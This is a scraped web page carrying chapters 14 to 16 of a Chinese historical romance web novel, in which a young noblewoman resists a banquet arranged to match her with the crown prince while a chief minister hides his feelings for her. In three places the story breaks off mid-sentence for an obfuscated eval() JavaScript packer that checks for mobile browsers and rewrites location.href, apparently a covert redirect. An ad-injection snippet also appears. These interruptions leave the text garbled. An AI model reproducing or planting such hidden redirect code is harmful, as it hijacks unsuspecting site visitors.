35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566992|140320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李青栀心领神会地轻轻对沈露明点了点头。 今日的场合有些特殊,这两个姑娘都没有母亲陪伴,父亲也不适合出席,是以李青栀估计了时辰,等着陪她们一起。 即便儿子没有开口,她也不会让自己看着长大的孩子就这么莫名其妙地被推着去与人相看,被人评头论足。 跟李青栀一起往陈府里去时,两个姑娘面庞上都已经有了恰到好处的微笑。 一路上遇见不少京官家眷,她们也仪态端庄,礼数周到地从容应对,举手投足间都是多年养成的大家闺秀模样,让人挑不出一丝错来。 就连迈出的步子和唇边笑意的深浅都好似丈量过一般。 今日踏进陈府的人都对这场赏春宴的用意心知肚明,是以时而有旁人的视线有意无意地向洛清苒投来。 而洛清苒一直神色如常。 因着自己家里和女学的教导,她和林瑶自懂事起便知道该如何在人前做好一名世家贵女。她们一直都是女学里名列前茅的学生,也是外人口中所谓的“淑女典范”,即便此时心里有万千念头,她们也不会在面上显露分毫端倪。 见状,走在她们中间的李青栀不由得在心底无声叹了一口气——她好似看见了洛清苒和林瑶的母亲年轻时的样子。只是她们一个常年缠.绵病榻,一个早已病逝。 在同样的规训与要求下,一代又一代,每个原本不同的姑娘都被养成了相同的模样。 这是对的吗?如果不是,错的又是谁? 做母亲的她们,是不是不该把这些女儿们带来这样的人世间? 可她们该做什么?又能做什么? 李青栀回答不了自己心底的疑问。 因为李青栀也曾有一个女儿,她拒绝成为同一个模子里刻出来的样子,远去边疆做了她想做的事。 可是后来,李青栀的女儿没能再活着回到故土。 她轻轻拉起洛清苒和林瑶的手,带着她们往人少的地方去。 她不想让这两个姑娘去应付那些让人疲惫的事。哪怕只是在今日。 洛清苒和林瑶不动声色地轻轻松了一口气,跟着伯母逐渐远离了在府中来来往往的人。 裴家的书房中。 裴知砚正一面翻看舆图,一面听暗卫禀报监视各处的情况。 对二皇子等人最近的动向做到心中有数后,裴知砚便吩咐暗卫可以退下了。 但躬身离开前,暗卫咬了咬牙,还是大着胆子禀报道: “大人,卑职得知沈家公子沈露明亲手做了一支发簪,还打磨了一对能合二为一的玉佩。”应是想送给洛家姑娘,或许还是想做定情之用。 今日陈家要为洛姑娘相看未来夫婿,而且眼看着沈家公子就要有所动作了,大人却还稳如泰山。他这个旁观者都忍不住替大人着急,才斗胆多嘴,将本不必报给大人的琐事说了出来。 但他再大胆,再擅于揣摩人心,也没敢说最后那句话。 “自去领罚。” 裴知砚眼都没抬,只淡声道:“再做无用之事,便不必跟着我了。” 洛清苒到了婚嫁的年纪,相看未来夫婿也是情理之中。只是陈家在二皇子登高跌重后突然办这场用意明显的赏春宴,应会让洛清苒难过迷茫许久。 但洛清苒性格坚韧,不会做任何人手中的提线木偶,即便是她深爱的家人。 她应能应对得很好。 裴知砚思忖道。 洛清苒既不愿与他再有过多来往,他便也不会干涉她的任何事情。 若洛清苒能挑得如意郎君,他到时自然会准备一份妥当的礼物,贺她新婚。 14.第 14 章 书房内的暗室中。 踏入漆黑的密道前,暗卫还心有余悸——方才多嘴说起沈露明私下里的动向时,他脊背都是僵直的,就怕自己是多事让大人厌烦,不仅他会招致重罚,还会平白浪费大人的时间。 但好在,无论如何,还是赌对了。大人虽然让他下去领罚,但看起来并未因此而动怒。 退出书房后他才狠狠松了一口气。 他是大人身边最得用的暗卫,看到的东西多,自然也知道得多。也许在大人自己意识到之前,他就先发现了大人的变化。 与洛家姑娘有关的那些变化。 那些隐秘的,旁人无法察觉的东西,早在大人对他下达的那些与洛家姑娘有关的密令里露了踪迹。 原本只为报众人血仇而行事的他,开始领命去执行那些与洛姑娘有关的任务。 而大人原本被沉重的家仇囚困在原地,无心也无力关注任何其他事情,却也不知不觉地开始留心着那个姑娘的一举一动。原本被各种筹谋与算计填满的生活,也开始有了其他不抱任何目的的平常内容。 以往的很多个夜晚,大人常秉烛规划他们的下一步行动,或是潜入某处暗藏阴私之地,或是调查某桩陈年命案,或是…… 而从某个深夜开始,那道孤寂的身影沉默拨弄的灯芯,是因那位姑娘而长明。 大人并非迟钝的人,应也发现了这些。但不知为何,大人虽然做了许多,却并未同洛姑娘走近,眼看着似乎还有意要拉开两人之间的距离。 他以暗卫的身份跟在大人身边十数年,不愿见自己追随的人一直数年如一日地被仇恨捆缚,所以才会大着胆子做一两件大人并未吩咐过的事。 提起沈露明时,他本不知大人今日还会不会去陈府。 但见方才的情况,大人应是不会去了。 种种鲜有人知的变化切实发生过,但那座大山仍然稳稳矗立,让所有的事情都仍只能循着原本的道路发展。 他和另外几个胆大的暗卫一样,都私心里觉得洛姑娘和大人很登对,也希望大人能有人为伴。 但洛姑娘在那样圆满美好的家庭里长大,本就与大人并非同路人,不该涉足这些本不属于她的地方。 他到底并非身在其中之人,并非事事了解。若大人最终决定就此保持现状,甚至与洛姑娘彼此疏远,再无来往,这也定是大人深思熟虑之后的选择。 况且,慧觉大师也不会允许他因为任何别的事情分心。 当年大人的父亲含冤而死,母亲为人所害,他也险些被灭口,原本的天之骄子却一夕之间家破人亡。是如今的慧觉大师救了他,抚养他,教导他,让他有机会以伪造的身份回了京城,筹谋一切。 男女情爱固然缱绻动人,可在九死一生的局中,还是显得格格不入了。 尤其,大人或许从未想过要活着走出京城这个乱局。 暗卫心神微沉,又很快敛回心绪,匆匆赶去陈府和那个只会杀人不会当人的冰碴子会合。 他们两人之前便被大人派去暗中护卫洛姑娘,今日陈府人多眼杂,他自然不能不去。待洛姑娘平安归家,他再去领罚即可。 * 陈府中。 “清苒,过会儿陪伯母一起去看看你外祖母吧。”李青栀温声道。 洛清苒眼睫微垂,轻轻应了声“好”。 身为陈家的表姑娘,这场赏春宴的主角,其实按理说洛清苒昨日便该来陈府,再与自己的外祖母一起出现在客人们面前。 但洛清苒的父亲没有提起,洛清苒便也只当不知,今日才同林瑶一起过来。 她不愿亲耳听见自己的家人说起今日这场赏春宴的用意,而无论是父亲还是外祖母,也都没有在今日之前同她明说。 或许是因为他们也都知道,一旦说开,很多事情就不一样了。 可洛清苒终归还是要去面对的。要发生的事情,不会因为她的逃避便有所不同。去见一见,听一听外祖母的说法,或许她才能知道自己的家人们打算做到哪一步。 看出洛清苒情绪不高,李青栀心疼地轻轻拍了拍她的手背,温柔却笃定道:“你放心,你母亲会护着你的,伯母也是。” 若只是相看便也罢了,若他们竟当真想不顾洛清苒的意愿,拿她去换取什么,李青栀和陈晚央无论如何也不会让他们如愿。 就像当年…… 李青栀适时止住思绪,眼神却不动声色地沉定了几分。 她带着两个姑娘往宅中的一处院落走去。 陈老太傅是典型的文人性情,府中的庭院、小径,长廊、亭台,无一处不合“雅”字。 一路上,不少人都看见了李青栀对待洛清苒和林瑶的态度。而在今日这个场合下,李青栀将洛清苒带在自己身边,几乎是明示了沈家的态度。众人心底的猜测与打算又变了些许。 行至洛清苒的外祖母居住的院子时,那位雍容慈和的老人已让人备好了洛清苒爱吃的点心和瓜果。旁边还放着一套精致的首饰。 “清苒来了。”老夫人慈眉善目,笑起来时让人觉得和蔼可亲。 洛清苒柔声唤道:“外祖母。” 林瑶也礼数周到地同老夫人见了礼。 “今日叨扰老夫人了。”李青栀适时道。 老夫人的脸色淡了几分,仍有笑意却不达眼底:“你们愿意来看看我,我高兴还来不及,又何来的叨扰一说?” 李青栀已对老夫人的态度习以为常,并不因此而有什么情绪起伏,继续笑着与之寒暄。 早在李青栀一力支持自己的女儿远赴边疆时开始,她便成了京中这些高门大户教导家中女眷时的反例。 陈家是书香门第,世家中的世家,更不喜她这样一个离经叛道的母亲。更何况,她的女儿一去不回,被她害死了。 若非洛清苒的母亲在病中时仍然坚持,李青栀又是大将军府的主母,陈家应也不会允许自己的女儿和外孙女继续同李青栀来往。 两位各有态度的主母体面地聊了片刻,将宾主尽欢的场面维持得很不错之后,老夫人才转而对安静待在一旁的洛清苒说道:“今日这场赏春宴是为你办的,你可知晓?” 洛清苒点了点头,“嗯”了一声。 “外祖母知道,以你的性子,应不太喜欢这种场合。但你不要心有芥蒂。”老夫人语重心长道。 “为了今日的宴席,你父亲也用心良苦。” 洛清苒少见地沉默着,没有接外祖母的话。 “我们……”老夫人欲言又止。 顿了顿,她还是道:“我们也是为了你好。” “你也到了该成婚的年纪了,今日只是相看一番,无论成与不成,都不妨碍什么。” 洛清苒沉默须臾,还是忍不住反问道:“如果您和父亲都觉得此事并无不妥,为何不在决定筹办这场赏春宴时便告知我本意呢?” “是担心我会无理取闹吗?” 还是说,其实您和父亲也没有那么足的底气? 老夫人微微蹙了蹙眉,不赞同道:“是谁教你可以如此来质问你的长辈?” 洛清苒的心还是沉了下来。 她不想逼问一直很疼爱自己的长辈,所以才按下了后面那句话。可她很清楚,自己心里想说的想问的,远不止如此。 林瑶能想到的事,身为女儿的洛清苒只会看得更清楚。她太明白父亲远不需要靠嫁女儿的方式在朝中为自己争取盟友。 洛清苒也已经能想到,今日宴席上受邀而来的任何一个男子,应都不是父亲属意的人选。赏春宴的举办只是一个引子,为的只是将洛家女儿正待嫁的消息放出去而已。 至于父亲是想让哪些有心人得知这个消息……已经不言而喻。 为何外祖母会说今日只是相看一番,无论成与不成,都不妨碍什么? 因为他们本就不打算将洛清苒嫁给今日在场的任何一个人。洛清苒及笄以来一直不曾议亲,而他们最终看中的人,远非这些京官子弟能比。 而直到此刻,外祖母也不打算同她说出全部实情。即便这其实是她的婚事,她的人生。 见洛清苒沉默不语,老夫人的语气也重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598871|140320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新放缓,继而道:“你同瑶瑶年纪相仿,她和陆家那孩子的婚事应就在这一两年。哪怕你父亲再忙,也该为你择一个好夫家了。” “清芷离开后,你母亲一直郁郁寡欢。若可以看着你嫁一个好夫婿,你母亲也能宽心许多。” “清芷已经不在了,你不能不为你母亲多想想。” 见外祖母竟用林瑶、姐姐和母亲来劝自己,洛清苒心底复杂难言的情绪更甚。 最亲近的人才最知道洛清苒在意什么。可眼下,她的家人竟想要用她的在意将她捆缚着,让她心甘情愿地变成一件漂亮的礼物。 洛清苒心底所有想说的想问的内容都被外祖母的话压成了齑粉。 还需要问什么呢? 答案已经很明显了。 洛清苒深深地看了外祖母一眼。 懂事知礼后的头一回,洛清苒径直转身,就这么不管不顾地从外祖母身边离开了,对身后外祖母的任何责难都置若罔闻。 就像他们也不顾洛清苒的想法一样。 林瑶当即便跟了上去,同洛清苒一样快步走出了老夫人的院落。 见状,早已少有情绪波动的老夫人不由得面露怒色,眉头紧皱地斥责道:“真是越来越没规矩了!女学里到底是怎么教的?!” 李青栀倒是不忘有礼有节地同老夫人告辞,但她说出的话却也不那么顺耳:“老夫人,清苒很聪明,不是那么容易糊弄过去的。那些难看的事,您和洛阁老做得出来,却说不出口吗?” “你!” 老夫人气极,却时刻不忘自己的身份,很快便掩下了所有情绪,神色平静地送客:“这是我们府中的家务事,就不用你费心了。” 李青栀不置可否,起身离开了。 在她身后,老夫人由旁边的侍女扶着,沉声道:“这副样子,今后如何当得了端庄贤淑的太子妃?一个又一个,都是被她给带坏了!”” “老夫人,您消消气。表姑娘最是懂事乖巧,一定会想明白的。” 担心老夫人会怒急攻心,侍女连忙劝道。 * 院外。 洛清苒和林瑶还未走远,正双双沉默着等伯母。两人的脸色都不太好。 看见她们,李青栀忍不住在心底轻轻叹了一口气。 洛清苒比年轻时的她们更有自我,更能看清本心,这是好事。但这也注定了,她会在看清某些事实的同时,感受到更多痛苦。 “您放心,我没事。”洛清苒逐渐整理好了思绪,宽慰面带忧虑的伯母。 林瑶和李青栀对视一眼,所有单薄的言语都没了说出口的必要。 洛清苒很看重她的家人们,如今直视了某些不曾显露过的复杂之处后,她会迷茫,会挣扎,但不会就此变得不再是洛清苒。 她不会因此一蹶不振。 洛清苒也的确没有任由自己一直沉湎于方才的失望中。 她想起了另一件事。 这一世,洛清苒的父亲是因为二皇子那边的断指变故,才和陈家一起办了这场赏春宴。 可是前世二皇子被裴知砚设计激得起兵造反结果被赐死后,洛清苒的父亲并没有类似的动作。 直到洛清苒命丧林府的池塘,父亲也不曾提起过要为她议亲的事。 为何相似的境遇,父亲的打算却会有所不同? 洛清苒只能从中找到另一件和前世不同的事——她和裴知砚的关系。 前世,她和裴知砚阴差阳错地因为蛊毒被牵绊在了一起。为了不让家人担心忧虑,直到那对设计了她的蛇蝎母子倒台,洛清苒都不曾同家人提起此事。 而这一世,她和裴知砚之间仍只是再平常不过的关系。 那时父亲之所以没有让陈家办这样一场赏春宴,是否是因为,除了二皇子和太子之外,他做了别的选择? 比如身居高位的权臣,裴知砚。 她自以为能瞒天过海,难道其实父亲早已将她和裴知砚的秘密尽收眼底,还眼看着她在其中挣扎吗? 思及此,洛清苒难以抑制地觉得胆寒。 15.第 15 章 三人都没有心思赏景,却也踱着步子缓缓往前,逐渐远离了洛清苒的外祖母居住的院落。 不知是有意还是无意,一路上都无人从她们近处经过。无需继续与人寒暄,也算是无人打扰。 但她们都不知道此时该说些什么,又还能说些什么,便只能默契地沉默着,各自深思。 林瑶目睹了自己的好友眼下正在经历的一切。发现血缘上极度亲近的家人其实没那么爱自己,或是以自己并不能接受的方式“对我好”时的感受,林瑶太清楚了。 她从没想过,也从不希望自己的挚友经历同样的甚至更让人难过的境遇,但这到底还是发生了。 细算起来,她可能要比洛清苒更幸运一些。因为父亲为她定下的是和陆烨的婚事,而她与他两情相悦,不算被强行拴在一起。 可林瑶很清楚,曾被洛清苒放进心里的人,从来不是什么天潢贵胄,皇室血脉,而是…… 思及洛清苒近来对那人的冷淡态度,林瑶止住了思绪——太子也好,裴知砚也罢,只要洛清苒不愿意,谁都不该被定为她的夫君。 见洛清苒不自觉眉梢轻蹙,李青栀犹豫了片刻,还是斟酌着词句开口问她:“别怪伯母多嘴,清苒,我想问问,你可有心上人?” 洛清苒心神微顿,随即缓缓摇了摇头。 “虽然我这样问可能有些突兀,也有些早,但伯母想知道,清苒,你这辈子有成婚的打算吗?”李青栀继而道。 洛清苒怔了怔。 她被伯母这句话问得心间空茫了一瞬,又因为“这辈子”这三个带着分量的字眼不由得变得有些郑重。 在此之前,她从未想过这个问题。 或者应该说,在这之前,洛清苒从未想过自己可以有不成婚的打算。 得遇两情相悦的良配,结为恩爱夫妻,共同生儿育女,相伴老去——这应是很多闺中少女都曾有过的有关未来的幻想。 如果没有遇到彼此钟情的那人,到了合适的年纪也会寻一户合适的人家,嫁过去相夫教子,侍奉长辈,变成自己的母亲,外祖母,重复一代代女子共同的路。 前一种情况,洛清苒也幻想过。她甚至曾疯魔地将某个遥不可及的人代入其中。 后来她想明白了,也就清醒过来,觉得实在不必非要强求某个具体的人,到时挑一个容貌家世都说得过去的,相处得来的男子,做一对虽不相爱但相敬如宾的夫妻也不无不可。 洛清苒以前并不排斥在合适的年纪相看自己的未来夫婿,只是不愿做权力交换与联结中的筹码。 也是真的被推到了与人相看的境地,洛清苒才知道,但凡出身高门,对于她们来说,这两者之间其实并无不同。 因为能被纳入相看范围的男子,背后定有值得与之结为姻亲的理由,或是家世,或是血脉,或是能力,或是地位,总有某样出类拔萃。 交换其实早已完成。 再办一场类似今日这样的宴席,只是看似让她们做了选择而已,但主动权其实从不在她们本人手里。 可以不嫁人吗? 起码在洛清苒的生活里,她从没见过一辈子不成婚的女子,只有嫁得好或不好的差别。 但……这世上定有终生不曾婚嫁的女子。 无论因为何种原因。 “若你这辈子都不想成婚,我和你母亲会为你想办法。”李青栀徐徐道。 “但如果你有成婚的打算,且不想嫁给那位贵人,目前最好的办法便是对外说你已经定下了一门婚事。” 而且得是一门皇家不能出手干涉的婚事。 洛清苒隐约猜到了伯母接下来想说什么。 “若你没有心上人,伯母想厚着脸皮替露明争取一回。” “露明与你自幼相识,你可能也看出了他对你的心思。伯母不是想趁人之危,也不是要逼你做你不愿意的事情。但如果你需要有一门婚事替你挡下眼前的麻烦,可以将露明纳入考虑。” 沈家是将门,代代出良将,立下战功无数。无论是否心甘情愿,皇家都无法光明正大地和沈家抢儿媳。 洛清苒的父亲费心安排,洛家若有机会出一位太子妃,甚至有可能是未来的皇后,洛清苒的父亲定不会同意将洛清苒嫁到沈家。 既然办了今日的赏春宴,即便只是名义上为洛清苒择选未来夫君,但只要洛清苒点头,沈家便能设法促成这桩婚事。 “待此事过去,若你不愿嫁给露明,我们可以解除婚约,到时将原因都归咎到露明身上便是。伯母会安排好,绝不会影响你今后的婚事。” “若你愿意做伯母的儿媳,伯母也定不会委屈了你。露明那小子若是敢让你有一丁点不舒心的,我肯定饶不了他。” 洛清苒一字一句认真地听完了,也明白了伯母的意思。 但她轻轻摇了摇头,柔声和伯母说道:“您和他不必为我做到这一步。” 如何能将取消婚约一事都归咎到沈露明身上而丝毫不牵连洛清苒?恐怕到时被安在沈露明头上的原因不会有多好听,十有八.九会影响他今后议亲。 且即便不挑明,皇家也不会看不出沈家的意图。而兵权在握的武将和位高权重的文臣联姻,这应会为沈家和洛家招致更多猜忌,皇帝也不会轻易允许沈洛两家结合,除非沈洛两家至少一方付出一些代价作为交换。 洛清苒的父亲筹算衡量已久,怎会同意做亏本的买卖?到时又只得是沈露明和沈家放弃一些什么。 洛清苒不愿做的事,她不会自私地将其中重担压到别人的肩头。 至于第二种可能…… 彼此熟识,洛清苒知道沈露明是个很好的人。他待人真挚诚恳,做事面面俱到,相貌身形优越,还能文能武,志向远大,能力卓绝,是被京城很多少女悄悄放在心里的翩翩少年郎。 洛清苒同样有过暗自喜欢某个人的经历。而沈露明比她勇敢热烈,他看向她时眼底总是带着明晃晃的在意,洛清苒自然更能发现沈露明对自己的心意。借着伯母的名义,他明里暗里为她做了不少事情。 但洛清苒扪心自问,她不愿与自己不喜欢的人在一起。 起码此刻,她对沈露明并无男女之情。 洛清苒曾经很喜欢一个人,知道那种感觉有多么特殊。可她对沈露明没有那种感觉。 自有记忆起洛清苒便认识沈露明了,他们几乎熟知彼此这十几年人生历程中的每一个关键节点,了解大大小小许多事情,陪对方从懵懂稚童长成了如今的模样。 即便不是男女之情,他们也不能说对方于自己而言是不重要的人。 伯母亦待她很好。姐姐刚离开的那段时日,洛清苒被母亲忽略时,伯母就像亲生母亲一样细致入微地关怀着她。 但她们可能没有婆媳的缘分。 他们都以真心待她,洛清苒也不愿用模棱两可的回答或含糊不清的态度辜负这份真心。 “我不想嫁给连面都没见过几回的人,沈露明和沈家也不该因为我的事受牵连。”洛清苒看着面带担忧的伯母,温声说。 “您放心,我会同父亲将此事说清楚。若父亲执意如此,我也会想其他法子处理好此事。” 旁人看来或许会觉得这是一件多么荣耀的事情,但李青栀和沈露明都知道洛清苒不会愿意嫁给太子,所以早在得知今日陈家要举办赏春宴时他们便开始想办法。 可无人会比洛清苒本人有更明确的拒绝意愿。 无论如何,她都不会坐以待毙,不会就这么被推着嫁给任何人。 李青栀明白了洛清苒的意思,便也不再多提,只在心底无声叹了一口气。 两个孩子的感情终归还是只能顺其自然,旁人本也不该横加干涉。 可若不用已有婚事为借口,洛清苒想要阻止她父亲和太子之间可能已经达成的合作与交换,想必会很困难。 这个姑娘不得不去直面更多,也经受更多。 “若有什么需要,可以随时同伯母说。”李青栀难掩心疼道。 洛清苒眉眼柔和地笑了笑,“好,多谢伯母。” “方才慕容府的主母娘子似是有事要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702005|140320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与伯母商议,伯母先过去吧,不用担心我和瑶瑶。我们四处走走便是。” 那会儿她们正要去洛清苒外祖母的院落,林夫人便没有久留,只说邀李青栀有空闲时一道品茶。 慕容府是当今皇后的母家,慕容府如今的主母林夫人是皇后的长嫂。思及太子与今日赏春宴的关联,李青栀不难猜到林夫人想同自己聊些什么。 左右不过是旁敲侧击地问一问沈洛两家是否有意联姻,或是问一问与洛清苒有关的事。做生意的人,总会担心吃亏受骗,总要多方打听斟酌。 “好,我过去一趟,你和瑶瑶也散散心。” 李青栀本心不愿去,但该有的体面还是需要维持。李青栀也明白,今日这种场合,若洛清苒无意嫁进沈家,她其实不适合一直与自己待在一起。 因为今日自来陈府开始洛清苒便和她同行,方才还一起去见了洛清苒的外祖母,有不少来往的人远远看见,某些有关洛清苒婚事的猜测已经不胫而走。 李青栀想得到,洛清苒应不愿经过今日之后就在人言中与露明久久关联在一起,也不想让她这个长辈或是露明误会她的意思。 既然已经明确了洛清苒的想法,李青栀便也不再一直留在她身边了,否则反而会给她徒增议论。 三人道过别后,洛清苒和林瑶往另一边走去。 远处,一直暗自留意着这边动向的沈露明眉心紧蹙,眸光微黯,神色也有些落寞。 他自然知晓今日母亲会同洛清苒说些什么,也明白眼下的场景意味着什么。 无论出于何种原因,洛清苒拒绝了。 她不愿嫁给他。 即便只是作缓兵之计,她也不愿在名义上与他有婚约。 更遑论嫁给他,做他的妻子,与他常伴彼此身侧。 沈露明垂下手,轻轻握住了一枚质地温润的玉佩。 他原本准备了两枚能合二为一的玉佩,想与洛清苒一人一枚。 可如今……另一枚玉佩恐怕等不到它的主人了。 恰似他。 * 陈府中。 已被暗中戒严,无人能再踏足的某处楼阁之上。 “娘娘近来正在为殿下挑选太子妃,殿下也可以借这场赏春宴看看有没有属意的人选。”一人眼眉低垂,态度恭敬道。 气质温和的太子只着一身常服,却不难看出周身气度不凡。帝后皆是容貌出众的人,太子自然也有一副俊朗的好相貌。 他远眺的目光不知落在何处。 太子状似无意地问身旁的内侍:“母后似乎对洛阁老的女儿有些兴趣?” 否则也不会让他今日来陈府走这一趟。 “皇后娘娘深谋远虑,为殿下打算了许多。” 内侍低声提醒道: “但陈贵妃似乎也一直有意撮合洛家姑娘和二皇子。” “二皇子如今自顾不暇,恐怕无心成婚。”太子轻嘲道。 虽不知是谁让二皇子断指,断了他名正言顺地继承大统的路,但太子乐见其成。 远远看见洛清苒和一位姑娘同行,太子隐约记得自己曾见过洛清苒几回,温声道:“这位洛家姑娘,倒是出落得端庄静雅。” 洛姑娘眼看着就是未来的太子妃,内侍不敢妄议,只安静地听着。 有人靠近亭外,应是有事要禀报。内侍走了过去,听来人说了刚得到的消息。 内侍心里一跳,面上却不动声色。 他回到太子身侧,垂首道:“殿下,裴大人也来了。” 太子眉梢轻挑,饶有兴致道:“是吗?这倒有些出人意料。” 之前的确听闻陈家的帖子也送去了裴府。但这位清心寡欲的首辅大人从不曾参与此类场合,这次也不出意外地婉拒了邀请。 却又忽然来了这赏春宴。 莫非他也和那些京官子弟一样,想来与差点成了他妻妹的洛家姑娘相看? 太子来了些兴趣,抬手吩咐道:“此处景致不错,去将洛姑娘请来同赏。” “也将裴大人一并请来。” 16.第 16 章 另一边,洛清苒的外祖父陈太傅得到消息后也有些疑惑——裴知砚今日怎么来了? 命人将赏春宴的帖子送去裴府是他的主意。 裴知砚六元及第,年少有为,且在入朝为官前便身负才名,前途似锦。是以当年洛清芷的父亲才会有意择他为婿。 但洛清芷因病早逝,这桩未成的婚事便也不了了之。 如今裴知砚已官至首辅,在朝中的声名威望更胜当年。但他从不与人有过密的私交。若能让他做洛家的女婿,不仅对洛家有益,陈太傅也乐于听这样难得一见的天才唤自己一声“外祖父”。 当今皇帝和太子都是陈太傅的学生,但陈太傅的一大遗憾便是当年没能说服裴知砚做自己的学生。 裴知砚高中状元后,见他在诗书琴棋及经略文章上都才华独具,陈太傅本有意收他为门生,助他在官场上走得更顺一些,以免明珠蒙尘。 但裴知砚言是已有一位老师对他恩重如山,不能再拜他人为师,此事只好作罢。 陈太傅与裴知砚没做成师徒,洛清芷与裴知砚也没有夫妻缘分。若洛清苒能与他结缘,也是一桩好事。是以陈太傅才会让人将请帖送去裴府。 聪明人之间很多话都不必明言。得知裴知砚不准备来今日的赏春宴,陈太傅便也明白了他的态度,不打算再多做试探。 陈太傅知道,经皇后安排,今日太子会避人耳目,暗中来陈府。是以他提前命人备好了地方,准备在合适的时候让人将洛清苒带过去与太子见一见,两人也好提前熟悉一些。 可不承想,裴知砚今日不仅出人意料地来了,进府后还并不来见陈太傅,而是颇有闲情雅致地去了一处摆设了棋局的庭院,与今日来参与赏春宴的文官才子们手谈。 陈太傅有些不悦于裴知砚的失礼,又觉得或许是裴知砚性格使然,才不像旁人一样拘泥于主客间的礼节与寒暄。 历来才华横溢之人多少都有些傲骨与清高。 可洛清苒的父亲与皇后、太子之间已有共同的打算,陈太傅实在无法不在意裴知砚今日来陈府的目的与意味,又不便参与年轻人们的棋局,便特意命人替他过去看看裴知砚那面的情况。 赏春宴名为赏春,却并不只是赏景而已。 除了寻些由头彼此简单相看以外,女眷们可以在府中赏花品茗,弹琴作画,男客们也能吟诗作对,曲水流觞。文人墨客间常有的棋局对弈自然也少不了。陈太傅还特意命人按古籍棋谱另摆了几盘残局。 原本今日各处棋盘两侧的人各有输赢,时而有人替换上去。但裴知砚来了之后,仅他对面的人还在轮换,他一直八风不动地端坐着,一局都不曾输过。 眼看着又有一个自诩棋艺不差的文官败下阵来,周围那些原先跃跃欲试的人都逐渐有些犹豫了。 他们都知道裴大人的棋艺了得,早年间得闲时还常与同僚们手谈。但近年来他事务繁忙,已久未在人前与谁对弈过了。是以今日见裴大人破天荒地来了赏春宴,众人才忍不住想同他讨教几招。 可讨教是一回事,毫无还手之力,输得太难看就是另一回事了。在场的大都是年轻的京官子弟,自己或许也刚入朝为官,都是看重脸面与名声的人,谁也不想在自己身上一直留下“技不如人”这四个字。 众人你看看我,我看看你,一时之间竟无人再在裴知砚对面落座。 见状,林瑶的兄长林深含笑走上前,温声说道:“还请裴大人指教。” 裴知砚不置可否,让对方先行。 棋局开始,周围的人大都专注地观察着两人的每一步棋。 而视线中心的裴知砚仍是面容平静,眉目冷淡,似乎并未察觉周围的气氛变化,或是他并不在意。 无人知晓,裴知砚看似沉静平和,心里却并不安宁。他其实根本没有心思与谁对弈。 他今日分明并不打算来陈府,却还是来了。 放下了还未看完的奏折,搁置了亟待处理的公务,将这样一场目的明确的赏春宴放在了所有事之前。 任由与她有关的念头再一次主导了他的思绪与决定。 来了之后裴知砚虽然一直在与人手谈,却不由自主地留意着洛清苒的动向。 还有沈露明的。 今日受邀来陈府的适婚男子们并不都似沈露明那样清楚内情,没有猜到这场所谓的以作相看之用的赏春宴的重点其实并非他们,也不知道洛家并不会从他们中选出任何人来与洛清苒相看。 是以不少有意者都明里暗里地关注着洛清苒的动向,偶有藏不住心思的人,还会三三两两地聚在一起说些什么。 耳力极佳的裴知砚也就得知了洛清苒今日是同沈露明的母亲一起进的陈府,且进门前还同沈露明“偶然”遇上了。 后来洛清苒不仅一直陪在沈露明的母亲身边,与其亲昵地相处,还同沈露明的母亲一起去看望了自家长辈。 此时,一墙之隔,也有沉不住气的人在从庭院外经过时压低声音与同行者说道:“你我都知道今日这赏春宴是陈家和洛家想为自家姑娘相看郎君,但这位洛姑娘一直与那沈露明的母亲待在一起,可是沈洛两家已有结亲的打算了?” 裴知砚执棋的长指微不可察地顿了一息。除了正与他对弈的林深以外无人发现。 林深面上的笑意渐浓。 转而状似无意般提起:“在下今日只是来这儿讨杯茶喝,但听闻,沈家的次子今日似是有备而来。” 林深的话并未完全点透,但在场的人都能听出他的意 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 思。 一时间不少人都面面相觑。沈露明的用意几乎没人看不出来,但众人有些不明白林深为何会忽然在对弈时将此事摆出来。 但闻言,裴知砚并无任何反应,只冷淡地抬眸瞥了林深一眼,随即神色如常地落下一子。 林深却并不死心,继续道:“不知裴大人今日又为何会临时起意来这赏春宴?” “听闻陈太傅府上的茶与棋皆是佳品。”裴知砚的语气并无起伏。 “那看来裴大人与我一样。我们一起做个旁观者,静待喜讯便是了。” “说不定今日的好茶喝了,沈家的好酒也快了。” 即便明知林深落下的棋子与话都带着试探之意,裴知砚也还是轻压眉梢。 他本也以为自己可以做到毫不在意,任由洛清苒择选未来夫君、出嫁、与他人共同拥有一个家,到时他也可以妥帖周到地为洛清苒备一份新婚贺礼。 可直到陈家为洛清苒准备的赏春宴开始,裴知砚才认清,他做不到。 这世上有许多事他都能做得很好,可唯独,他无法深想洛清苒要嫁与他人为妻这件事。 